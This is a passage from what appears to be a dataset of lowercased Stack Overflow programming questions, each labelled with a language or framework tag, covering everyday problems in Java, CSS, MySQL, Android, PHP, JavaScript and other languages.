removeobjects(rows rows  int numberofobjects) {         if (rows.removeobjects(numberofobjects)) {             system.out.println(getname() +   removed   + numberofobjects +   objects );             return true;         } else {             system.out.println( not possible! try again );             return false;         }     }      public string getname() {         return name;     }      public void setname(string name) {         this.name = name;     } } </code></pre>,java
java - send email using default email provider  i have written a java code so that if a button is pressed the default email provider would open up automatically to be able to send an email. is there a possibility that i can attach a file to the email automatically and set a subject for the emails     this is the code so far:   <pre><code>        if(role.getvalue().equals( 1 )) {                 try {                     desktop.getdesktop().browse(new uri( mailto:username@domain.com subject=new_profile&amp;body=see attachment&amp;attachment= pvs_xml.xml  ));                  } catch (ioexception e) {                     // todo auto-generated catch block                     e.printstacktrace();                 } catch (urisyntaxexception e) {                     // todo auto-generated catch block                     e.printstacktrace();                 }                } </code></pre>   the code above is for some reason not working: its underlining the whole of mailto method saying : syntax error  insert  ;  to complete blockstatements.     any ideas why,java
rails  rvm  apache  passenger error - spawnmanager permissions denied in 2.3.11  i m getting the following error using passenger. this seems to only be a problem when using 2.3.11. how can i fix this    <pre><code>*** passenger error (ext/common/applicationpool/../spawnmanager.h:220): could not start the spawn server: /users/oprogfrogo/.rvm/bin/ruby-1.8.7-p334@2311: permission denied (13) [ pid=565 thr=0x7fff70bedcc0 file=ext/apache2/hooks.cpp:864 time=2011-06-24 08:19:03.845 ]: unexpected error in mod_passenger: cannot spawn application  /users/oprogfrogo/documents/eclipse_workspace/contracts : could not write  spawn_application  command to the spawn server: broken pipe (32)   backtrace:      in  virtual passenger::sessionptr passenger::applicationpool::client::get(const passenger::pooloptions&amp;)  (client.h:750)      in  passenger::sessionptr hooks::getsession(const passenger::pooloptions&amp;)  (hooks.cpp:297)      in  int hooks::handlerequest(request_rec*)  (hooks.cpp:566) </code></pre>,ruby-on-rails
binding data from a stored proc and dropdown list to populate a gridview aspx  can anybody help     i have two stored procs  each calling two separate result tables.    i need to create a dropdown list so when a table is selected it will refresh the page and populate the grid view with the new table result...    at the moment all i have is the connection calling one of the tables on the page load... but i need this populating to the dropdown list also...    <pre><code>public void refreshdata() {     sqlconnection con = new sqlconnection(@ server=(localdb)\v11.0;database=workstationcells );      sqlcommand cmd = con.createcommand();     cmd.commandtext =  dbo.usptargetquantitesg120 ;     cmd.commandtype = commandtype.storedprocedure;     sqldataadapter sda = new sqldataadapter(cmd);     dataset ds = new dataset();     cmd.parameters.add( @product   sqldbtype.varchar  10).value =  g120c ;      sda.fill(ds);     gridview1.datasource = ds;     gridview1.databind(); } </code></pre>   i know similar questions have been answered but i am new to this and not sure where to start.,asp.net
mysql join with same rowname  i am trying to join two tables and i m stuck. the two tables have some rows with same name.   <pre><code>table1: shop  rows: sid  typeid  name  email_id  url  logo  app_link  phone  status  username  password  table2: shopnews rows: nid  typeid  sid  url  logo  start_date  end_date  add_date  name  short_detail  status  updated_on </code></pre>   what i m trying to do is to get * from shopnews  name and url from shop where sid is the same in both tables.    i realy have no idea what i m doing here  but here is part of my code:   <pre><code>  mysql_select_db($db  $con);   $result = mysql_query( select sid as ssid  name as ssname  url as ssurl  logo as sslogo  status as sstatus from shop inner join shopnews on shop.ssid = shopnews.sid );     while($row = mysql_fetch_array($result))   {       $nid=$row[ nid ];       $typeid=$row[ typeid ];       $sid=$row[ sid ];       $shopname=$row[ ssname ];       $shopurl=$row[ ssurl ];       $url=$row[ url ];       $logo=$row[ logo ];       $start_date=$row[ start_date ];       $end_date=$row[ end_date ];       $add_date=$row[ add_date ];       $name=$row[ name ];       $short_detail=$row[ short_detail ];       $shopstatus=$row[ sstatus ];       $status=$row[ status ];   } </code></pre>  <blockquote>    warning: mysql_fetch_array() expects parameter 1 to be resource  boolean given  </blockquote>   can some one tell me what i m doing wrong,mysql
error: [$controller:ctrlreg] angular controller not registered  i tried many ways but i am not sure what i am missing i am getting controller name is not registered error in console.    i tried to even change name of controller but still no luck    please suggest     angularcontroller.js   <pre><code>(function () {      use strict ;      angular         .module( mymod )         .controller( controller   controller);      controller.$inject = [ $location ];      (function ($) {         $.fn.menumaker = function (options) {             var cssmenu = $(this)  settings = $.extend({                 format:  dropdown                   sticky: false             }  options);             return this.each(function () {                 $(this).find( .button ).on( click   function () {                     $(this).toggleclass( menu-opened );                     var mainmenu = $(this).next( ul );                     if (mainmenu.hasclass( open )) {                         mainmenu.slidetoggle().removeclass( open );                     }                     else {                         mainmenu.slidetoggle().addclass( open );                         if (settings.format ===  dropdown ) {                             mainmenu.find( ul ).show();                         }                     }                 });                 cssmenu.find( li ul ).parent().addclass( has-sub );                 multitg = function () {                     cssmenu.find( .has-sub ).prepend( &lt;span class= submenu-button &gt;&lt;/span&gt; );                     cssmenu.find( .submenu-button ).on( click   function () {                         $(this).toggleclass( submenu-opened );                         if ($(this).siblings( ul ).hasclass( open )) {                             $(this).siblings( ul ).removeclass( open ).slidetoggle();                         }                         else {                             $(this).siblings( ul ).addclass( open ).slidetoggle();                         }                     });                 };                 if (settings.format ===  multitoggle ) multitg();                 else cssmenu.addclass( dropdown );                 if (settings.sticky === true) cssmenu.css( position    fixed );                 resizefix = function () {                     var mediasize = 1000;                     if ($(window).width() &gt; mediasize) {                         cssmenu.find( ul ).show();                     }                     if ($(window).width() &lt;= mediasize) {                         cssmenu.find( ul ).hide().removeclass( open );                     }                 };                 resizefix();                 return $(window).on( resize   resizefix);             });         };     })(jquery);      (function ($) {         $(document).ready(function () {             $( #cssmenu ).menumaker({                 format:  multitoggle              });         });     })(jquery); })(); </code></pre>   directive.js    this is directive created to call on basepage   <pre><code>(function () {      use strict ;      angular.module( mymod )      .directive( mydirective   function () {          return {              restrict:  e   //e = element  a = attribute  c = class  m = comment                       scope: true               //templateurl:  views/directives/header/mytemplate.html                templateurl:  ../views/directives/mainheader/mytemplate.html                 //template:  &lt;h1&gt;hello directive: {{vm.title}}&lt;/h1&gt;                controller:  controller                controlleras:  vm           }      });  })(); </code></pre>   below image shown is error message information    <a href= https://i.stack.imgur.com/m8vur.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m8vur.png  alt= enter image description here ></a>,angularjs
print asp.net web form  i have a web form  which just needs to be filled out and printed. can anyone help me with the print button coding  please,asp.net
difference between perform selector in backgorund and detachnewthread  i want to know what is difference between perform selector in backgorund and detachnewthread,iphone
insert query help needed  i have two database say <strong>a</strong> and <strong>b</strong>.    <strong>a</strong> have <code>a1 table</code> having column names <code>userid</code> <code>pin_no</code> and <code>b</code> database have <code>b1 table</code> having column names <code>id</code> <code>badge_no</code>.    i want to insert data from <code>a1</code> to <code>b1</code> and <code>b1</code> should get updated as and when <code>a1</code> updates,sql
ioerror: [errno 2] no such file or directory trying to open a file:  ./settings/settings   i am very new to python so please forgive the following basic code and problem  but i have been trying to figure out what is causing the error i am getting (i have even looked at similar threads on s.o.) but can t get past my issue. i m not sure if i have to redirect or create a directory  and i m not sure how i d do so. here is my code:   <pre><code> try:     import json  time  os  re  stringio     from pil import image     from urllib import urlencode     import requests  base58     from beautifulsoup import beautifulsoup except:     print( error:: missing module(s) )     exit()   settings = json.loads(open( ./settings/settings    r ).read()) login = open( ./settings/login    r ).read().splitlines() sessions = [] loginindex = 0 </code></pre>   and here is the error i am receiving:   <pre><code>&gt; traceback (most recent call last):   file &gt;  c:\users\administrator\desktop\api\main.py   line 19  in &gt; &lt;module&gt; &gt;     settings = json.loads(open( ./settings/settings    r ).read()) ioerror: [errno 2] no such file or directory:  ./settings/settings  </code></pre>   what is causing the ioerror and how to i resolve it,python
"can t get bullets to hide on my ul  i can t seem to get my bullets/marks to hide from my menu bar on my site. i ve tried using <code>list-style-type: none</code> but it doesn t seem to be working.    i m a code newbie so any help would be of huge help! i m sure i m overlooking something obvious. best  e    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>   
 
 body {
      background: #262626;
      margin: 5px 0 15px 0;
      padding: 0;
      text-align: center;
      font-family: verdana  arial  sans-serif;
      font-size: 75%;
      color: #333333;
 }
 
 
 /* typography
 ------------------------------------------------------------------ */
 
 #top p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0;
      padding: 0;
      color: #cccccc;
 }
 
 #header p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0;
      padding: 0;
 }
 
 #menu p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0;
      padding: 0;
 }
 
 #content p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0 0 15px 0;
      padding: 0;
 }
 
 #footer p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0;
      padding: 0;
      text-align: center;
      color: #cccccc;
 }
 
 #bottom p {
      font-size: 1em;
      line-height: 1.6em;
      margin: 0;
      padding: 0;
      color: #cccccc;
 }
 
 h1  h2  h3  h4  h5  h6 { 
      margin: 0  0 .6em 0;
      color: #333333;
      font-family: verdana  arial  sans-serif;
      letter-spacing: -.06em;
      line-height: 1.1em;     
 }
 
 h4 {
      color: #cc0000;
      font-family:  permanent marker   cursive;
 
 }
 
 h1 { font-size: 2.2em; }
 h2 { font-size: 3em;
  font-family:  bangers   cursive;
  letter-spacing: .1em; 
  }
 h3 { font-size: 1.8em; }
 h4 { font-size: 2.1em; }
 h5 { font-size: 1.4em; }
 h6 { font-size: 1.2em; } 
 
 #header h1 {
      padding: 20px 0 0 20px;
      margin: 0;
      font-size: 4.1em;
      font-family:  nosifer   cursive;
      color: #cc0000;
 
 }
 
 #header h2 {
      padding: 0px 0 0px 25px;
      margin-top: 15px;
      font-size: 2.2em;
      letter-spacing: 1.3px;
      color: #cccccc;
      font-weight: normal;
      font-family:  bangers   cursive; 
 }
 /* hyperlinks
 ------------------------------------------------------------------ */
 
 #top a:link {color: #ffffff; text-decoration: none;}   
 #top a:visited {color: #ffffff; text-decoration: none;}  
 #top a:hover {color: #ffffff; text-decoration: underline;}  
 #top a:active {color: #ffffff; text-decoration: none;}  
 
 #header a:link {color: #ffffff; text-decoration: none;}   
 #header a:visited {color: #ffffff; text-decoration: none;}  
 #header a:hover {color: #ffffff; text-decoration: none;}  
 #header a:active {color: #ffffff; text-decoration: none;}  
 
 a:link {color: #cc0000; text-decoration: none;}   
 a:visited {color: #cc0000; text-decoration: none;}  
 a:hover {color: #cc0000; text-decoration: underline;}  
 a:active {color: #cc0000; text-decoration: none;}  
 
 #menu a:link {
      color: #ffffff; 
      text-decoration: none;
      padding: 13.5px;
      margin:1px;
 }   
 
 #menu a:visited {
      color: #ffffff; 
      text-decoration: none;
      padding: 10px;
      margin:1px;
 }  
 
 #menu a:hover {
      color: #111111; 
      text-decoration: none; 
      background-color: #ffffff;
      padding: 10px;
      margin:0;
      border:1px solid #111111;
 }  
 
 #menu  a:active { 
      text-decoration: none;
 }  
 
 #compmenu a:link {
      color: #cc0000;
      text-decoration: none;
      padding: 13.5px;
      margin:1px;
 }   
 
 #compmenu a:visited {
      text-decoration: none;
      padding: 10px;
      margin:1px;
 }  
 
 #compmenu a:hover {
      color: #111111; 
      text-decoration: none; 
      background-color: #ffffff;
      padding: 10px;
      margin:0;
      border:1px solid #111111;
 }  
 
 #compmenu a:active { 
      text-decoration: none;
 }  
 
 #footer a:link {color: #ffffff; text-decoration: none;}   
 #footer a:visited {color: #ffffff; text-decoration: none;}  
 #footer a:hover {color: #ffffff; text-decoration: underline;}  
 #footer a:active {color: #ffffff; text-decoration: none;}  
 
 #bottom a:link {color: #ffffff; text-decoration: none;}   
 #bottom a:visited {color: #ffffff; text-decoration: none;}  
 #bottom a:hover {color: #ffffff; text-decoration: underline;}  
 #bottom a:active {color: #ffffff; text-decoration: none;}  
 
 /* unordered lists
 ------------------------------------------------------------------ */
 
 #content ul  #bottom ul {
      margin-left: 0;
      padding-left: 0;
      list-style: none;
      font-size: 1em;
      line-height: 1.7em;
      margin: 0 0 1em 0;
 }
 
 #content li  #bottom li  {
      padding-left: 12px;
      margin-bottom: .2em;
      background-image: url(../img/arrow.gif);
      background-repeat: no-repeat;
      background-position: 0 .5em;
 }
 
 /* page structure
 ------------------------------------------------------------------ */
 
 #wrapper {
      width: 760px;
      padding: 0;
      margin: 0 auto; 
      border: 1px solid #222222;
      background-color: #ffffff;
      text-align: left;
 }
 
 #top {
      width: 760px;
      margin: 0 auto; 
      padding: 10px 0;
 }
 
 #header {
      height: 255px;
      margin: 5px 5px 0 5px;
      border: 0px solid #cccccc;
      background: black url(../img/header.jpg) top left no-repeat;
 }
 
 #menu {
      margin: 0 5px 0 5px;
      padding: 20px 10px 20px 10px;
      border-top: 1px solid #666666;
      background: #212121 url(../img/menu.jpg) top left repeat-x;
 }
 
 #menu_list {
      padding: 0;
      margin: 0;
      text-align: left;
 }
 
 #menu_list li
 {
      text-align: left;
      font-size: 1.2em;
      font-weight: bold;
      display: inline;
      list-style-type: none;
      padding: 0 .9em 0 0em;
      margin: 0;
 }
 
 #content {
      margin: 0 5px 0 5px;
      padding: 20px;
      border: 0px solid #cccccc;
      background: #ffffff url(../img/sidebar.jpg) top right repeat-y;
 }
 
 #left {
      float: left;
      padding: 0;
      margin: 0;
      width: 480px;
 }
 
 #right {
      float: right;
      padding: 0;
      margin: 00;
      width: 180px;
 }
 
 #footer {
      margin: 0 5px 5px 5px;
      padding: 20px 10px;
      border: 0px solid #cccccc;
      background-color: #9e0b0e;
 }
 
 #bottom {
      width: 760px;
      margin: 0 auto; 
      padding: 10px 0;
      border: 0px solid #cccccc;
 }
 
 .spacer { clear: both; }
 
 #compmenu {
      margin: 0 3px 0 3px;
      padding: 5px 2.5px 5px 2.5px;
      border-top: 1px;
      margin-bottom: 10px;
      }
 
 #compmenu_list {
      padding: 0;
      margin: 0;
      text-align: left;
      list-style-type: none;
      }
 
 #compmenu_list li
 {
      text-align: left;
      font-size: 1.9em;
      font-weight: bold;
      display: inline;
      padding: 0 .9em 0 0em;
      margin: 0;
      color: #cc0000;
      font-family:  permanent marker   cursive; }
 
 
 /* images  
 ------------------------------------------------------------------ */
 
 .photo_frame {
      float: right;
      padding: 5px;
      border: 1px solid #eeeeee;
      border-right: 1px solid #cccccc;
      border-bottom: 1px solid #cccccc;  
      margin: 5px 0 10px 15px;   
 }
 
 .photo_frame img {
      margin: 0;
      padding: 0;
      border: 0;
 }
 
 .fridaythe13th img {
      width: 190px;
      height: 280px;
 }
 
 figcaption {
      font-size: 60%;
      text-align: center;
      margin-top: .5em;}
 
     .slashercollage img {
      width: 425px;
      height: 319px;
      float: right;
      margin: 1.5em;}
 
     .leatherface img {
      width: 425px;
      height: 319px;
      float: right;
      margin: 1.5em;}</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= compmenu &gt;
     &lt;ul id= compmenu_list &gt;
         &lt;li&gt;&lt;a href= killers.html &gt;killers&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;terrible place&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;weapons&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;victims&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
add() function in adapter inside listactivity shows operation not supported  the code which is used. i want the list to load once in the beginning  and then load data on subsequent scrolls..    <pre><code>public class viewpage extends listactivity{  listview lv; listadapter ld; int size=7; string filename[] = new string[size]; cursor contactcursor; arrayadapter&lt;string&gt; arr_ad; int contact_column_index;  @override protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);      setcontentview(r.layout.mylist);      for(int i=0;i&lt;size;i++)         filename[i]=new string();       string[] proj = { contactscontract.contacts.display_name };     contactcursor = managedquery(contactscontract.contacts.content_uri  proj  null  null  null);     contact_column_index = contactcursor.getcolumnindexorthrow(contactscontract.contacts.display_name);     lv = (listview)findviewbyid(android.r.id.list);     contactcursor.movetofirst();         for(int i=0;i&lt;size;i++)         {             filename[i] = contactcursor.getstring(contact_column_index);             toast.maketext(viewpage.this  filename[i] +  ok  + contactcursor.getstring(contact_column_index)   1).show();             if(!contactcursor.movetonext())                 break;         }         arr_ad = new arrayadapter&lt;string&gt;(viewpage.this  android.r.layout.simple_list_item_1  filename);         setlistadapter(arr_ad);         lv.setonscrolllistener(new endlessscrolllistener()); }  public class endlessscrolllistener implements onscrolllistener {  private int visiblethreshold = size; private int currentpage = 0; private int previoustotal = 0; private boolean loading = true;  public endlessscrolllistener()  {  }  public endlessscrolllistener(int visiblethreshold)  {     this.visiblethreshold = visiblethreshold; }  @override public void onscroll(abslistview view  int firstvisibleitem          int visibleitemcount  int totalitemcount) {     // todo auto-generated method stub     toast.maketext(viewpage.this   in    1).show();      if (loading)       {          if (totalitemcount &gt; previoustotal)           {             loading = false;             previoustotal = totalitemcount;             currentpage++;          }      }      if (!loading &amp;&amp; (totalitemcount - visibleitemcount) &lt;= (firstvisibleitem + visiblethreshold))       {                for(int i=0;i&lt;size;i++)             {                 filename[i] = contactcursor.getstring(contact_column_index);                 toast.maketext(viewpage.this  filename[i] +   + contactcursor.getstring(contact_column_index)   1).show();                 arr_ad.add(filename[i]);                 if(!contactcursor.movetonext())                     break;              }              arr_ad.notifydatasetchanged();             //arr_ad = new arrayadapter&lt;string&gt;(viewpage.this  android.r.layout.simple_list_item_1  filename);               //setlistadapter(arr_ad);              loading = true;             toast.maketext(viewpage.this totalitemcount+   +visibleitemcount+   +firstvisibleitem+   +visiblethreshold+     1).show();      } }  @override public void onscrollstatechanged(abslistview view  int scrollstate) {     // todo auto-generated method stub  }  } } </code></pre>   it shows error in line 98 which is arr_ad.add(filename[i]); and says that the operation is not supported. could anyone help please! thanx in advance.,android
how to center images inside the div  im trying to center the images inside the .pics div  but the css does not work       <pre><code>&lt;article class= pics &gt;           &lt;ul&gt;             &lt;li&gt;&lt;img class= default  alt= cake  src= images/img_2774_opt.jpg &gt;&lt;/li&gt;             &lt;li&gt;&lt;img class= default  alt= cake  src= images/198_opt.jpg &gt;&lt;/li&gt;             &lt;li&gt;&lt;img class= default  alt= cake  src= images/img_2774_opt.jpg &gt;&lt;/li&gt;          &lt;/ul&gt;   &lt;/article&gt; </code></pre>   css: <code>.pics {     width: 100%;     vertical-align: middle; }</code>    does not work,css
r cannot be resolved to a variable - eclipse  i m working on a project modifying code from blueterm  a bluetooth android application.  upon building the project  i get multiple errors saying  r cannot be resolved to a variable .  i tried cleaning the project  as well as deleting the r.java file  with no success.  i also made sure the package name was correct in the androidmanifest.xml file.    i m stuck right now  would really like any input on this.,android
failed to construct  blob : array length exceeds supported limit  i try to construct a simple 10.5mb <a href= https://developer.mozilla.org/en-us/docs/web/api/formdata  rel= nofollow noreferrer ><code>blob</code></a> using the following (chrome browser):   <pre><code>var arr = new uint8array(10485833); var blob = new blob(arr  { type:  application/octet-stream  }); </code></pre>   i get the error:   <blockquote>    uncaught rangeerror: failed to construct  blob : array length exceeds supported limit.  </blockquote>   what is the limit  why can t i create a 10mb blob  what if i wanted to create a 50mb blob  1gb blob     is <a href= https://developer.mozilla.org/en-us/docs/web/api/formdata  rel= nofollow noreferrer ><code>blob</code></a> the wrong data type to be using here  in the end i am trying to construct some <a href= https://developer.mozilla.org/en-us/docs/web/api/formdata  rel= nofollow noreferrer ><code>formdata</code></a> to post to a server. example:   <pre><code>var fd = new formdata(); var blob = new blob(arr  { type:  application/octet-stream  }); fd.append( data   blob   filename.zip ); </code></pre>,javascript
looping through an array of objects to display something specific  i have multiple objects  which represent different tv shows. they are stored in an array. given a specific attribute  <code>x</code>  i want to loop through the array and only display the names of the television shows with given attribute  <code>x</code>.    for example  let s say i want to display action tv shows. right now  i can only find objects that not only share the genre  but also the duration and rating (they are exactly equal).    how do i display a item in the array depending on only one attribute,javascript
why can t i @synthesize accessors in a category   obj-c 2.0 lets me declare properties in a category  but the compiler refuses to synthesize accessors inside the category. why     (sometimes it makes organization sense to put a bunch of related stuff in a category - even if the backing ivars go in the class declaration. i know about class extensions and how to do private properties  but that isn t my use case.),objective-c
c less-than operator  working on a project for class and come across this piece of code i am supposed to use.    what is the  lt  operator  i assume it s some sort of less-than device  but i ve never seen anything like this in c before (i m new)  and my compiler keeps telling me it s undefined.   <pre><code>int indexsmallest (struct dyarray * v  int i  int j) {      /* return index of smallest element */     if (lt(dyarrayget(v  i)  dyarrayget(v  j))          return i;     return j; } </code></pre>   i know i can do a <code>(compare(x  y) == -1)</code> to work around this  but wanted to try and keep the code given to me.,c
difference between $( div ) and $( </div> )   i was asked in an interview  what s the difference between <code>$( div )</code> and <code>$( &lt;/div&gt; )</code>    <pre><code>console.log($( div )); console.log($( &lt;/div&gt; )); </code></pre>,jquery
convert hours into minutes  i want to convert the hours into minutes.    example: if <code>hour</code> is <code>2:18</code>  then i want the output as <code>138</code> minutes.   <pre><code>&lt;script&gt; m = diff % 60; h = (diff - m) / 60;  mins = h.tostring() +  :  + (m &lt; 10    0  :   ) + m.tostring(); alert(mins) &lt;/script&gt; </code></pre>,javascript
query help get exact date time difference  i have a query that gets the difference in time and date from the time the record was inserted vs the current date.    here is the example.   <pre><code>select datediff(date(now())  2012-04-15 16:14:59 ) as datedifference  timediff(now()   2012-04-15 16:14:59 ) as timedifference </code></pre>   but this one give me the following result:   <blockquote>    date difference time difference   5               112:26:22  </blockquote>   i really want to get the exact difference between the two.    example:    <blockquote>    5 8:24:22  </blockquote>   where 5 is the day and 8:24:22 is the time.,mysql
slcomposeviewcontroller automatic close after few second ios 8  i use this code ( works perfectly in ios 7 )    <pre><code>myslcomposersheet = [[slcomposeviewcontroller alloc] init]; myslcomposersheet = [slcomposeviewcontroller    composeviewcontrollerforservicetype:slservicetypefacebook]; [myslcomposersheet setinitialtext:[nsstring stringwithformat:@ %@  annotazioni.text]]; [myslcomposersheet addimage:screenshotforshare]; [self presentviewcontroller:myslcomposersheet animated:yes completion:nil]; if (!myslcomposersheet) {     return; }else{  } [myslcomposersheet setcompletionhandler:^(slcomposeviewcontrollerresult result) {      switch (result) {         case slcomposeviewcontrollerresultcancelled:             nslog(@ post canceled );             break;         case slcomposeviewcontrollerresultdone:             nslog(@ post sucessful );             break;          default:             break;     } }]; </code></pre>   but  when slcomposerview appear  after 1-2 seconds disappear without any input command  in simulator and device ... what is the correct code     my other way for posting photo is this :   <pre><code>nsstring *client_id = @ 123456789012345 ; (the same of .plist) fbgraph = [[fbgraph alloc] initwithfbclientid:client_id]; [fbgraph authenticateuserwithcallbackobject:self andselector:@selector(postinappfacebook) andextendedpermissions:@ user_photos user_videos publish_stream offline_access  andsuperview:self.view];  nsmutabledictionary *variables = [nsmutabledictionary dictionarywithcapacity:3]; fbgraphfile *graph_file = [[fbgraphfile alloc] initwithimage:screenshotforshare]; [variables setobject:graph_file forkey:@ file ]; [variables setobject:[nsstring stringwithformat:@ %@  annotazioni.text] forkey:@ message ]; [fbgraph dographpost:@ me/photos  withpostvars:variables]; if (twittershare == yes) {     [self shareontwitter]; }else{     [self dismissviewcontrolleranimated:yes completion:nil]; } </code></pre>   but only in ios 8 i receive error 191... on ios 7 all works perfectly and the photo was posted on my diary correctly. help me plase i can t find a solution after 7 day s ... thank s in advance,ios
html structure   i think this one is simple just explain it a bit please...    supose i have this index.php (<strong>don t look for script errors</strong>)   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; require(home.php) &lt;/body&gt; &lt;/html&gt; </code></pre>   and my home.php (i saw this somewhere and i am wondering  even if it is working is it wrong ) instead of having again the normal html structure as above  you have:   <pre><code>&lt;body&gt; some code &lt;/body&gt; </code></pre>   leaving out all the other tags.    is this correct  yes  no  why     thank you    edit: what if i am calling a js script in my head tag  would the home.php inherite it,html
how do i upload folders via ftp php  i m writing a script that can ftp files and folders using php functionality.    i m able to upload files via ftp but not folders  is is possible to upload folders via php ftp    my file code looks similar to below   <pre><code>$upload = ftp_put($connection   123test.co.za/images/1.jpg   1.jpg   ftp_ascii); </code></pre>,php
cropping image using jquery canvascrop returning black background on top and bottom of image  i am using jquery upload image canvas. while i am uploading an image  resizing and then save the cropped image background is black. i want to change the black background to white.    given is the example...<a href= https://i.stack.imgur.com/gclrf.jpg  rel= nofollow noreferrer >result image</a>   <pre><code>   getdataurl: function(type){                     var type = type|| png                           width = thumbbox.width                          height = thumbbox.height                          hiddencanvas = document.createelement( canvas )                          hiddencontext = hiddencanvas.getcontext( 2d );                     hiddencanvas.width = width;                     hiddencanvas.height = height;                     hiddencanvas.width = $( .thumbbox ).width();                     hiddencanvas.height = $( .thumbbox ).height();     //                hiddencontext.drawimage(visblecanvas  clipargument.sx  clipargument.sy  width  height  0  0  width  height);                     hiddencontext.drawimage(visblecanvas  clipargument.dx  clipargument.dy  visblecanvas.width visblecanvas.height);                     return hiddencanvas.todataurl( image/ +type);                 } </code></pre>   any help appreciated,javascript
what does x-apple-data-detectors do within a href   when checking a site i am working on for broken links  i found this:   <pre><code>&lt;a href= x-apple-data-detectors://6 &gt;.&lt;/a&gt; </code></pre>   i tried googling  but all i can find about it seem to be about this form:   <pre><code>&lt;a href= #  x-apple-data-detectors= false &gt; </code></pre>   what is the intention when this appears in a href,html
how to merge this two def index  i ve 2 different <code>index</code> actions  can anyone help me to merge this     first def index (for tags):   <pre><code>def index   if params[:tag]     @posts = post.tagged_with(params[:tag])   else     @posts = post.all   end end </code></pre>   second  def index (for categories):      <pre><code>def index   if params[:category].blank      @posts = post.all   else     @category_id = category.find_by(name: params[:category]).id     @posts = post.where(category_id: @category_id)   end end </code></pre>,ruby-on-rails
how to check my application running in memory or not   i want to check if my application  abc  is currently running in my phone memory or not    any one guide me how to achieve this     any help would be appreciated.,android
how can i put link to offline html page   how can i put link to offline html page    <pre><code>   &lt;a href= c:\users\me\desktop\of\test.html &gt;test&lt;/a&gt; </code></pre>   why this doesn t work in my case,html
how to extract the balance qty  i hv a table like this:-   <pre>     table a     --------------------------------     date       |  serial    | qty        --------------------------------     20110101       abc        1      20110102       abc       -1      20110105       abc        1      20110106       abc        1      20110108       abc       -1  </pre>   i need to know what s the balance qty of abc (based on fifo) using sql &amp; the final output will look something like this:-   <pre><code>date            serial      qty  20110106         abc         1 </code></pre>   thanks.,sql
css list item width/height does not work  i tried to make a navigation inline list. you can find it here:  <a href= http://www.luukratief-design.nl/dump/parallax/para.html  rel= noreferrer >http://www.luukratief-design.nl/dump/parallax/para.html</a>    for some reason it does not display the width and height of the li. here is the snippet. what is wrong with this    <pre><code>.navcontainer-top li {     font-family:  verdana   sans-serif;     margin: 0;     padding: 0;     font-size: 1em;     text-align: center;     display: inline;     list-style-type: none;&lt;br&gt;     width: 117px;     height: 26px; }   .navcontainer-top li a {     background: url( ../images/nav-button.png ) no-repeat;     color: #ffffff;     text-decoration: none;     width: 117px;     height: 26px;     margin-left: 2px;     margin-right: 2px; } .navcontainer-top li a:hover {     background: url( ../images/nav-button-hover.png ) no-repeat;     color: #dedede; } </code></pre>,css
why does this not work  am i on the right track   why doesnt this work  this is my program to  gettutornames  method. the full problem is in the link. this is only part of the program. can someone help  i ve been stucked for hours. for an example here one of my error message: peertutoringreport.java:30: error: variable namelist is already defined in method gettutornames()                     return namelist;                            ^,html
sending a file pointer to a function for reading  i ve been working on this thing for hours on end and i have searched and searched and my code still does not work right.     how do i read my file from a function within main using <code>argv[]</code> as the file that i want read    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;errno.h&gt;   file words(file *filestoread) {     const char *open;     open = (char *)filestoread;      filestoread = fopen(open   rt );     int line;     while ((line = fgetc(filestoread)) != eof)     {         printf( %c   line);     }      fclose(filestoread);  }  int main(int argc  char *argv[]) {     char *ah = argv[];     words(ah);     return 0; } </code></pre>,c
saving to %userprofile%  so im trying to save my file to documents on the c: drive. so it allows me to give it someone else and it will save to their documents.     i read up on %userprofile% which is meant to grab c:\users\%userprofile%\     ie mine would be c:\users\jsmit\ but that doesn t work for me.   <pre><code>void savepassword(string stringpassword  string site) { ofstream out( c:\\users\\%userprofile%\\documents\\new folder\\output.txt   ofstream::app); // here out &lt;&lt; site &lt;&lt;  :   &lt;&lt; stringpassword &lt;&lt; endl; // this is where it saves the password into the text file out.close(); // closes file } </code></pre>   it works if i do this:   <pre><code>ofstream out( c:\\users\\jsmit\\documents\\new folder\\output.txt   ofstream::app); </code></pre>   what code would i need to allow me to give it to someone else and it would be able to save to their documents by grabbing the correct file path,c++
where should css and js files be hosted   i am developing a slider. the client ( a non-technical person ) wants a slider which he can use and distribute to people easily and other people non technical people can easily install it on their websites. i am ready with the slider but i am coming across a problem that where should i host all the core .css and .js files  if i try to host them on my clients hosting  how would the non-technical persons be able to use it without editing their html code     i am looking for a solution in which the client just pastes a code into the website and the slider starts to work ( as he has been using widgets). please help out. thanks.,css
php mysql get the record for a particular user whose data is not submitted  i have an android app which tracks the attendance of 5 users.i have used mysql database to store the data. also  i have used php to link the android app to mysql database.    what i want is to check if the user has submitted the attendance till 10am in the morning everyday.and if the user has not submitted his/her attendance till 10am  then the attendance for that particular user will be marked as  missed  automatically in the database for that particular user for the day(a new row will be inserted with the username and  attendance  column will be marked  missed ). so  i was trying to set a cron job in phpmyadmin which will run everyday at 10am and run the query. the problem is i am not able to figure out how to get the user who has not submitted the data by 10 am through mysql query. let s say we have 5 users: a  b  c  d and e. so  if a  b has submitted the data for the day and c  d  e has not submitted their attendance (there is no record for c  d  e till 10am).so  how to filter out c  d  e and automatically insert a row in the table with  no records  for c  d and e for that particular day     i tried creating the cron job using the below query:   <pre><code>create event check_attendance  on schedule every 10 day_hour </code></pre>   and i tried the below query to get the count of records for a particular day:   <pre><code>select if((select count(*) from attendance where date = now()) = 0  true  false ) as value </code></pre>   but i don t know how to write the query which will filter the names of records which are not there in the database. can anyone please help me 